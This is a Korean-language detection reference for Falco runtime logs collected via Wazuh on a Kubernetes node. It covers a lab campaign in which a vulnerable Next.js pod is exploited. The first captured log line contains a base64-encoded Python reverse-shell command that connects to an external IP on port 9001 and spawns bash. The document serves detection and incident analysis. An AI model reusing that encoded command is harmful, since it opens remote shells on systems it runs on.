Spacebar Campaigns

Falco RCE Log

Log ID:
LOG-ID
Source:
SB-04 K8s Node
Representative Path:
journalctl -u falco-modern-bpf.service
Collection:
Wazuh agent journald input (/var/ossec/etc/ossec.conf)
Primary Use:
컨테이너 런타임 명령 실행, nsenter 실행, reverse shell 행위 확인

공격 행위 요약

Falco Runtime Detection Log는 NodeFall 캠페인에서 컨테이너 내부와 호스트 런타임에서 발생한 실행 행위를 확인하는 로그이다. 공격자는 취약 Pod 내부에서 쉘을 획득한 뒤 python3 기반 권한 상승 PoC를 실행하고, 이후 특권 파드 내부에서 nsenter를 사용해 host namespace에 진입했다. 이 로그는 단순한 Kubernetes 리소스 생성 여부가 아니라, 실제 노드 런타임에서 어떤 프로세스가 실행되었고 어떤 네트워크 행위가 발생했는지를 확인하는 핵심 증적이다.

로그 발생 위치

구분위치설명
K8s NodeLinux Kernel syscall컨테이너 내부 명령 실행, 파일 접근, 네트워크 연결 같은 런타임 행위가 커널 syscall로 발생
K8s Nodefalco-modern-bpf.serviceFalco가 syscall을 관찰하고 룰 매칭 시 탐지 이벤트를 생성하는 서비스
K8s Nodejournalctl -u falco-modern-bpf.serviceFalco 탐지 이벤트가 systemd journal에 기록되는 대표 확인 위치

수집 방식

구분방식
FalcoeBPF/driver를 통해 Linux Kernel syscall을 관찰하고, Falco rule의 condition과 매칭되면 output 형식의 탐지 이벤트를 생성
journaldFalco가 생성한 탐지 이벤트를 falco-modern-bpf.service의 systemd journal 로그로 기록
Wazuh agent/var/ossec/etc/ossec.conf의 journald 수집 설정을 통해 Falco 서비스 로그를 수집
Wazuh manager수집된 Falco 로그를 /var/ossec/etc/rules/local_rules.xml의 룰과 매칭하여 Wazuh alert로 변환
Wazuh Dashboard생성된 Wazuh alert를 분석자가 확인할 수 있는 대시보드 이벤트로 표시

실제 관측 로그

May 21 04:56:27 ip-10-0-133-48 falco[531]: 04:56:27.018222388: Critical nodefall_shell_spawn [NF1] Shell Spawn 
(user=nextjs proc=sh cmd=sh -c echo aW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiNDMuMjAxLjI5LjIyNiIsOTAwMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3biAoIi9iaW4vYmFzaCIp |base64 -d |
python3 container=react-app pod=react-app-685875587f-hv72r ns=default) container_id=f4f7a83a75ac container_name=react-app container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default
May 21 04:56:27 ip-10-0-133-48 falco[531]: 04:56:27.043672762: Notice Redirect stdout/stdin to network connection |
gparent=next-server (v ggparent=containerd-shim gggparent=systemd fd.sip=43.201.29.226 connection=10.244.0.81:59016->43.201.29.226:9001 lport=59016 rport=9001 fd_type=ipv4 fd_proto=tcp evt_type=dup2 user=nextjs user_uid=1001 user_loginuid=-1 process=python3 proc_exepath=/usr/bin/python3.11 parent=sh command=python3 terminal=0 container_id=f4f7a83a75ac container_name=react-app container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default

주요 필드

필드의미예시
evt.timeFalco 탐지 이벤트 발생 시간04:56:27.018222388
priorityFalco 탐지 심각도Critical, Notice
rule/messageFalco가 탐지한 행위명nodefall_shell_spawn [NF1] Shell Spawn, Redirect stdout/stdin to network connection
user / user_uid행위를 수행한 컨테이너 내부 사용자nextjs, 1001
proc / process실행된 프로세스sh, python3
cmd / command실행된 명령어 또는 인자sh -c echo ... , base64 -d , python3, python3
parent현재 프로세스를 실행한 부모 프로세스sh
gparent상위 부모 프로세스next-server
container_name행위가 발생한 컨테이너 이름react-app
container_id컨테이너 식별자f4f7a83a75ac
container_image_repository컨테이너 이미지 저장소docker.io/library/react2shell-vulnlab-hi-react2shell-tribune
k8s_pod_name행위가 발생한 Kubernetes Podreact-app-685875587f-hv72r
k8s_ns_namePod가 속한 namespacedefault
fd.sip네트워크 연결 출발지 IP43.201.29.226
connectionreverse shell 네트워크 연결 흐름10.244.0.81:59016->43.201.29.226:9001
lport로컬 포트59016
rport원격 포트9001
fd_proto네트워크 프로토콜tcp
evt_type발생한 syscall 이벤트 유형dup2
messagejournald에 기록된 Falco 원본 로그Critical nodefall_shell_spawn ..., Notice Redirect stdout/stdin ...

커버 대상 Techniques Used

TechniqueMapping Reason
T1190 Exploit Public-Facing ApplicationReact/Next.js 취약 애플리케이션을 통한 RCE 이후 sh, python3 실행 및 reverse shell 연결이 발생했는지 확인한다.

탐지 포인트

Technique관찰 행위주요 필드
T1190 Exploit Public-Facing ApplicationReact/Next.js 취약 Pod 내부에서 외부 요청 이후 sh, python3 등 명령 인터프리터가 실행되는지 확인한다. 단순 shell 실행만 보지 않고, 웹 애플리케이션 프로세스(next-server) 하위에서 발생했는지 함께 본다.rule/message, gparent, proc, process, cmd, user, k8s_pod_name, container_name
T1190 Exploit Public-Facing Applicationbase64로 인코딩된 페이로드가 python3로 전달되어 실행되는지 확인한다. RCE 페이로드가 실제 컨테이너 내부 명령 실행으로 이어졌는지 판단하는 핵심 구간이다.cmd, proc, process, parent, user, container_id, k8s_ns_name
T1190 Exploit Public-Facing Applicationdup2 syscall을 통해 표준 입출력이 TCP 연결로 리다이렉션되는지 확인한다. 외부 리스너 포트로 연결되는 흐름이 보이면 reverse shell 성공 가능성이 높다.evt_type, connection, fd.sip, lport, rport, fd_proto, process, command